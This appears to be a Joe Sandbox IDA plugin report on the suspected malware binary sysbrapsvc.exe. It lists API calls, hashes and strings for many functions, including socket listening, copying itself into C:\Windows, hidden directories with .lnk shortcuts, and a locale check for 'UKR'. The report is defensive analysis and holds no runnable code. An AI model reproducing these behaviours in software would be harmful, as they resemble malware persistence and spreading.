Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: closesocketconnecthtonsshutdownsocket
String ID:
API String ID: 1987800339-0
Opcode ID: ad00b5e66e502cf51556e2fe0723fe5a46734f1a748e3451fb2f35000b259efe
Instruction ID: 6f27e87c9fbd885ae8dc1ff0d2584d57f1b5bd556a0886c013ee5925ca4f0c28
Opcode Fuzzy Hash: ad00b5e66e502cf51556e2fe0723fe5a46734f1a748e3451fb2f35000b259efe
Instruction Fuzzy Hash: 75110C74D05209EBCF14DFE8DA09AAEB774AF08320F2042ADE525A73D0E7748F05975A

Function 0040A320 Relevance: 4.5, APIs: 3, Instructions: 34memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0040A300: GetCurrentProcessId.KERNEL32(?,0040A26B,?,0040CB7E,00000010,?,?,?,?,?,?,0040C8EB), ref: 0040A303

HeapCreate.KERNELBASE(00000000,00000000,00000000,?,?,0040A277,?,0040CB7E,00000010,?,?,?,?,?,?,0040C8EB), ref: 0040A34C
HeapSetInformation.KERNEL32(02260000,00000000,00000002,00000004), ref: 0040A376
GetCurrentProcessId.KERNEL32 ref: 0040A37C

Part of subcall function 0040A390: GetProcessHeaps.KERNEL32(000000FF,?), ref: 0040A3AC

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: Process$CurrentHeap$CreateHeapsInformation
String ID:
API String ID: 3179415709-0
Opcode ID: 39a68b1a461fe85ff5420ab9e490a0acce4aa907e117fd060a557965e8062ddb
Instruction ID: 153581d20db94d5c309eff678e55c8914b1996f7dedd943f89312b8a2df68ea8
Opcode Fuzzy Hash: 39a68b1a461fe85ff5420ab9e490a0acce4aa907e117fd060a557965e8062ddb
Instruction Fuzzy Hash: C4F096B0581318ABD314DB61BC05B663B75B704305F14C53AF9099A2D1EBB9D824C75B

Function 0040EC20 Relevance: 4.5, APIs: 3, Instructions: 28fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00406B80,80000000,00000001,00000000,00000003,00000000,00000000,00406B80), ref: 0040EC40
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040EC55
FindCloseChangeNotification.KERNELBASE(000000FF), ref: 0040EC62

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: File$ChangeCloseCreateFindNotificationSize
String ID:
API String ID: 4178644524-0
Opcode ID: df23a932ebc1e553a736a6907ae04855c01650ef694a25ef55576e6386c5cc64
Instruction ID: 510e37a00670102d9d314512819d27ba5470aa4876814cd41fcb5fcea3dff8ee
Opcode Fuzzy Hash: df23a932ebc1e553a736a6907ae04855c01650ef694a25ef55576e6386c5cc64
Instruction Fuzzy Hash: CEF01274A40308FBDB10DFA4DD49B8DBB74AB04701F208155FA04B72D0D6B55A508B44

Function 0040A260 Relevance: 3.1, APIs: 2, Instructions: 52memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0040A300: GetCurrentProcessId.KERNEL32(?,0040A26B,?,0040CB7E,00000010,?,?,?,?,?,?,0040C8EB), ref: 0040A303

RtlAllocateHeap.NTDLL(02260000,?,-0000000C), ref: 0040A2AA
memset.NTDLL ref: 0040A2E4

Part of subcall function 0040A320: HeapCreate.KERNELBASE(00000000,00000000,00000000,?,?,0040A277,?,0040CB7E,00000010,?,?,?,?,?,?,0040C8EB), ref: 0040A34C
Part of subcall function 0040A320: HeapSetInformation.KERNEL32(02260000,00000000,00000002,00000004), ref: 0040A376
Part of subcall function 0040A320: GetCurrentProcessId.KERNEL32 ref: 0040A37C

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: Heap$CurrentProcess$AllocateCreateInformationmemset
String ID:
API String ID: 3494217179-0
Opcode ID: 294fda0ab172e2a004a74a08390490f5fc4b4b9dca16f8036860c8ce0df5ca3a
Instruction ID: ba70c5eae7cf01fb33dfd467849f4f34152d1a70f2116d5db6fbc7e10e676d17
Opcode Fuzzy Hash: 294fda0ab172e2a004a74a08390490f5fc4b4b9dca16f8036860c8ce0df5ca3a
Instruction Fuzzy Hash: F5110375900208BBCB14DFE5D845F9E7BB9AF44308F04C1BDE909A7381D6399A54CB99

Function 0040DA00 Relevance: 3.0, APIs: 2, Instructions: 49synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004013B0: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,0040DA0D,00000000), ref: 004013D5
Part of subcall function 004013B0: socket.WS2_32(00000002,00000002,00000011), ref: 004013E4
Part of subcall function 004013B0: bind.WS2_32(?,?,00000010), ref: 00401429

Part of subcall function 0040B6B0: EnterCriticalSection.KERNEL32(0041AE68,?,?,0040D369), ref: 0040B6C0
Part of subcall function 0040B6B0: LeaveCriticalSection.KERNEL32(0041AE68,?,?,0040D369), ref: 0040B6EC

InterlockedExchangeAdd.KERNEL32(00000000,00000000), ref: 0040DA2D
WaitForSingleObject.KERNEL32(000005F4,00001388), ref: 0040DA77

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: CriticalSection$CreateEnterEventExchangeInterlockedLeaveObjectSingleWaitbindsocket
String ID:
API String ID: 3920643007-0
Opcode ID: 5c77e3d312ad578ce08815b2cc1e62ae5db3b44bec38e6a5e784731c17f989e3
Instruction ID: aa17d1baa4e02fc33eb62529aa3b01015a1e888eeffea948add3cca91325e381
Opcode Fuzzy Hash: 5c77e3d312ad578ce08815b2cc1e62ae5db3b44bec38e6a5e784731c17f989e3
Instruction Fuzzy Hash: 3711A5B5E00208ABE700EBE0DC46BAF7734EB44704F10847AF501772D1E6759A40CB99

Function 0040B280 Relevance: 3.0, APIs: 2, Instructions: 40networkCOMMON

Download Yara Rule

APIs

gethostname.WS2_32(?,00000100), ref: 0040B29C
gethostbyname.WS2_32(?), ref: 0040B2AE

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: gethostbynamegethostname
String ID:
API String ID: 3961807697-0
Opcode ID: aaec8b9e3ccfd23335778a95738de583a013869622460b5e30cdc36053fb7845
Instruction ID: 8039f9734a4788e95ef973f6647f821cba33223e1e4c036a543b3ae581dc98b8
Opcode Fuzzy Hash: aaec8b9e3ccfd23335778a95738de583a013869622460b5e30cdc36053fb7845
Instruction Fuzzy Hash: B6112E34908118CBCB24CB14C848BD8B775EB65314F2486DAD88967390C7F9ADC5CF89

Function 0040AEF0 Relevance: 3.0, APIs: 2, Instructions: 24networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(0040AF71), ref: 0040AEFA
gethostbyname.WS2_32(?), ref: 0040AF0D

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: gethostbynameinet_addr
String ID:
API String ID: 1594361348-0
Opcode ID: c33f327bb9ec7267db1a3eace16e79cfc334ac04858cae8989207d18368f1188
Instruction ID: a26dc96a0067a2b43ac3d3d1c1b84107ed873affba9b2e0c5737def7be7f7e0e
Opcode Fuzzy Hash: c33f327bb9ec7267db1a3eace16e79cfc334ac04858cae8989207d18368f1188
Instruction Fuzzy Hash: BFF01C78900208EFCB00DFB4E48889DBBB4EB48315F2083AAE905673A0D7709E80DB80

Function 0040B8D0 Relevance: 3.0, APIs: 2, Instructions: 16synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000005F4,000003E8), ref: 0040B8DE
InterlockedDecrement.KERNEL32(00419828), ref: 0040B8F0

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: DecrementInterlockedObjectSingleWait
String ID:
API String ID: 4086267124-0
Opcode ID: 37923b9e3894ab7ac0eca60294d8a3c153e8bbf32d36ac9aea54317e710ac4f2
Instruction ID: 70371dd39396dacd0ebacc4d3a7253ecf07d8a31bb2bfca86181530dfe316479
Opcode Fuzzy Hash: 37923b9e3894ab7ac0eca60294d8a3c153e8bbf32d36ac9aea54317e710ac4f2
Instruction Fuzzy Hash: 3BD05E3165030897CA006BA1B849B9A360EE710700B108433F240A11D0D7BC88C092EE

Function 0040AFF0 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

shutdown.WS2_32(0040AFDD,00000002), ref: 0040AFF9
closesocket.WS2_32(0040AFDD), ref: 0040B003

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: closesocketshutdown
String ID:
API String ID: 572888783-0
Opcode ID: bfbd7c6bd4046a28b837c812f6aa1fd48043d02f9901879055b44668827d2eb5
Instruction ID: 69ce69260fc8840876d91afc79957fad69f2a54b7a8d7d483856da217b0a501e
Opcode Fuzzy Hash: bfbd7c6bd4046a28b837c812f6aa1fd48043d02f9901879055b44668827d2eb5
Instruction Fuzzy Hash: 04C04C7914120CBBCB049FE5ED4DDD97B6CEB4C651F008494FA098B251CBB6E980CB95

Function 0040B6B0 Relevance: 2.5, APIs: 2, Instructions: 20COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0041AE68,?,?,0040D369), ref: 0040B6C0
LeaveCriticalSection.KERNEL32(0041AE68,?,?,0040D369), ref: 0040B6EC

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: bcabc186306ba1e6db95b79a4a5ee2dd95fb67cbb7ec1f120a3790f6e9aeee7b
Instruction ID: 13923c4bd5c8e2331a891100fe08006a79a1a16b838805fb2ea00da725e168b9
Opcode Fuzzy Hash: bcabc186306ba1e6db95b79a4a5ee2dd95fb67cbb7ec1f120a3790f6e9aeee7b
Instruction Fuzzy Hash: 4EE01AB59C2304EBCB05DB88EC49B9977B4E705314F148569F80953390D7BAAE60CA5F

Function 0040B010 Relevance: 2.5, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0041AE68,?,0040B8A7), ref: 0040B018
LeaveCriticalSection.KERNEL32(0041AE68,?,0040B8A7), ref: 0040B028

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 1fc6b865b111585f52b158b7dd66f0ac1bdef0efac2574f6e36ae78d8eeb1e27
Instruction ID: 372b615c4b6dbe44d84b2135da3facd6a20cc6bc8964a13371f16c469ac31f8d
Opcode Fuzzy Hash: 1fc6b865b111585f52b158b7dd66f0ac1bdef0efac2574f6e36ae78d8eeb1e27
Instruction Fuzzy Hash: FDB09B715D131877810137D5AC0E7C5362CD550B55F144832F04D500559FEE3490855F

Function 0040A660 Relevance: 1.5, APIs: 1, Instructions: 35memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0040A300: GetCurrentProcessId.KERNEL32(?,0040A26B,?,0040CB7E,00000010,?,?,?,?,?,?,0040C8EB), ref: 0040A303

RtlFreeHeap.NTDLL(02260000,00000000,00402612,?,00402612,?), ref: 0040A6BB

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: CurrentFreeHeapProcess
String ID:
API String ID: 3855406826-0
Opcode ID: 8534952d8c90e4d700e8dcba1ea12cabe14820986c13acf41758031b57988e10
Instruction ID: 8dad1e0271eeb528323df75ad7ae4a1fb2206e9654044d15681f9d78fe5da1b6
Opcode Fuzzy Hash: 8534952d8c90e4d700e8dcba1ea12cabe14820986c13acf41758031b57988e10
Instruction Fuzzy Hash: 97F0C874900308AFDB04DF94D84096DBF75BF84304F14C1AAE9446B381FA36D951CB96

Function 0040D360 Relevance: 1.5, APIs: 1, Instructions: 25synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 0040B6B0: EnterCriticalSection.KERNEL32(0041AE68,?,?,0040D369), ref: 0040B6C0
Part of subcall function 0040B6B0: LeaveCriticalSection.KERNEL32(0041AE68,?,?,0040D369), ref: 0040B6EC

WaitForSingleObject.KERNEL32(000005F4,00001388), ref: 0040D38C

Part of subcall function 0040CF80: InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040CF8C

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterExchangeInterlockedLeaveObjectSingleWait
String ID:
API String ID: 3309573332-0
Opcode ID: 7eb5ed2af1fc3fd9af1decff1ab171505a9aa6000d5c3347444e91febc4f0f1a
Instruction ID: af2a8be1c3b2022afcb85cbb4701cad0209fa058a067ecaf1ca36940e585286a
Opcode Fuzzy Hash: 7eb5ed2af1fc3fd9af1decff1ab171505a9aa6000d5c3347444e91febc4f0f1a
Instruction Fuzzy Hash: 3CE09270E00308E6D714A7A1A806BAF726A9710305F50857AFA007A2C1DA7E994883EE

Function 00407250 Relevance: 1.5, APIs: 1, Instructions: 23comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00000000,00000000,00004401,00000000,00000000), ref: 00407270

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: c09f913f08406f093c7ac86b5101c5a128e05d7496c9f4ec9220068c62795e96
Instruction ID: d63025b72d2c6ebaad53fa266f334e56fbfbf26be99018a77b0022b5cf711e38
Opcode Fuzzy Hash: c09f913f08406f093c7ac86b5101c5a128e05d7496c9f4ec9220068c62795e96
Instruction Fuzzy Hash: 5FE0C97490120CBFDB40DF90C889B9EBBB8AB08315F1081A9E90467280D7B96A948BA5

Function 00406260 Relevance: 1.3, APIs: 1, Instructions: 32stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004062C0: GetDriveTypeW.KERNELBASE(0040629F), ref: 004062CD

lstrcpyW.KERNEL32(?,?), ref: 004062B3

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: DriveTypelstrcpy
String ID:
API String ID: 3664088370-0
Opcode ID: aa744ef504167f27be6d486533275d748dec175d232d96b41b3e61fed09f16a0
Instruction ID: a3f39d1a22dcf836f44b0fbcddd46cfc88cbb50e51ff9e9dfde0dd7881e74902
Opcode Fuzzy Hash: aa744ef504167f27be6d486533275d748dec175d232d96b41b3e61fed09f16a0
Instruction Fuzzy Hash: DCF04975D00208EBCB00EFA4D44579EB7B4EF04304F00C0ADE815AB240E639AB58CB49

Non-executed Functions

Function 00406650 Relevance: 79.0, APIs: 34, Strings: 11, Instructions: 300fileCOMMON

Download Yara Rule

APIs

_chkstk.NTDLL(?,00406CC0,?,?,?), ref: 00406658
wsprintfW.USER32 ref: 0040668F
wsprintfW.USER32 ref: 004066AF
wsprintfW.USER32 ref: 004066CF
wsprintfW.USER32 ref: 004066EF
wsprintfW.USER32 ref: 00406708
PathFileExistsW.SHLWAPI(?), ref: 00406718
SetFileAttributesW.KERNEL32(?,00000080), ref: 00406751
DeleteFileW.KERNEL32(?), ref: 0040675E
PathFileExistsW.SHLWAPI(?), ref: 0040676B
SetFileAttributesW.KERNEL32(?,00000080), ref: 00406785
DeleteFileW.KERNEL32(?), ref: 00406792
PathFileExistsW.SHLWAPI(?), ref: 0040679F
CreateDirectoryW.KERNEL32(?,00000000), ref: 004067B2
SetFileAttributesW.KERNEL32(?,00000002), ref: 004067C5
PathFileExistsW.SHLWAPI(?), ref: 004067D2
CopyFileW.KERNEL32(C:\Windows\sysbrapsvc.exe,?,00000000), ref: 004067EA

Strings

%s\%s\%s, xrefs: 00406ACB
%s\%s, xrefs: 004066E3
%s\%s, xrefs: 00406AA4
%s\%s, xrefs: 004066A3
%s\*, xrefs: 004066FC
C:\Windows\sysbrapsvc.exe, xrefs: 004067E5
shell32.dll, xrefs: 0040681E
shell32.dll, xrefs: 00406836
%s\%s\VolMgrSvc.exe, xrefs: 004066C3
%s\%s, xrefs: 00406A31
%s.lnk, xrefs: 00406683

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: File$wsprintf$ExistsPath$Attributes$Delete$CopyCreateDirectory_chkstk
String ID: %s.lnk$%s\%s$%s\%s$%s\%s$%s\%s$%s\%s\%s$%s\%s\VolMgrSvc.exe$%s\*$C:\Windows\sysbrapsvc.exe$shell32.dll$shell32.dll
API String ID: 2120662298-2075929577
Opcode ID: 9bf2619cef5fba6853ff482bd73d2f59edf810866bcdaa708e9710542ec04caf
Instruction ID: c612be32194b3f0687db5988b06318d9a83eb4d95ba537684b9fbd0309d38362
Opcode Fuzzy Hash: 9bf2619cef5fba6853ff482bd73d2f59edf810866bcdaa708e9710542ec04caf
Instruction Fuzzy Hash: 33D164B5900258ABCB20DF50DC54FEA77B8BB48304F00C5EAF20AA6191D7B99BD4CF59

Function 00406510 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 85filestringCOMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00406AFE,00000000), ref: 0040651F
wsprintfW.USER32 ref: 00406535
FindFirstFileW.KERNEL32(?,?), ref: 0040654C
lstrcmpW.KERNEL32(?,00410FC4), ref: 00406571
lstrcmpW.KERNEL32(?,00410FC8), ref: 00406587
wsprintfW.USER32 ref: 004065AA
wsprintfW.USER32 ref: 004065CA
MoveFileExW.KERNEL32(?,?,00000009), ref: 00406606
FindNextFileW.KERNEL32(000000FF,?), ref: 0040661A
FindClose.KERNEL32(000000FF), ref: 0040662F
RemoveDirectoryW.KERNEL32(?), ref: 00406639

Strings

%s\*, xrefs: 00406529
%s\%s, xrefs: 004065BE
%s\%s, xrefs: 0040659E

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: FileFindwsprintf$Directorylstrcmp$CloseCreateFirstMoveNextRemove
String ID: %s\%s$%s\%s$%s\*
API String ID: 92872011-445461498
Opcode ID: 4d993e4b2371ed22e4f6f4ca18b818e1fed1a50a7be2704f398f1e399b769794
Instruction ID: 53594aa6cee022007eb09e89ff8d3070c1334f86b1d3d86e8b3ef453570f0988
Opcode Fuzzy Hash: 4d993e4b2371ed22e4f6f4ca18b818e1fed1a50a7be2704f398f1e399b769794
Instruction Fuzzy Hash: B2315BB5500218AFCB10DB60DC85FDA7778AB48701F40C5A5F609A3185DBB5DAD9CF58

Function 0040D1A0 Relevance: 9.1, APIs: 6, Instructions: 67sleepnetworkCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040D1B2
ioctlsocket.WS2_32(00000004,4004667F,00000000), ref: 0040D1D8
recv.WS2_32(00000004,00002710,000000FF,00000000), ref: 0040D20F
GetTickCount.KERNEL32 ref: 0040D224
Sleep.KERNEL32(00000001), ref: 0040D244
GetTickCount.KERNEL32 ref: 0040D24A

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: CountTick$Sleepioctlsocketrecv
String ID:
API String ID: 107502007-0
Opcode ID: 077c42ecd2642622499ea3213999ab9bc2a668583e8a55166bb8840c59880b72
Instruction ID: d1d91ce4da814b9a63f0d024f91aac80a52589da6ae3f0e8ee31fa34877a49b5
Opcode Fuzzy Hash: 077c42ecd2642622499ea3213999ab9bc2a668583e8a55166bb8840c59880b72
Instruction Fuzzy Hash: 5A31CA74D00209EFCF04DFA4DA48AEE77B1FF44315F1086A9E825A7290D7749A94CB59

Function 0040EBE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22stringCOMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000400,00000007,?,0000000A,?,?,004075E8), ref: 0040EBF3
strcmp.NTDLL ref: 0040EC02

Strings

UKR, xrefs: 0040EBF9

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
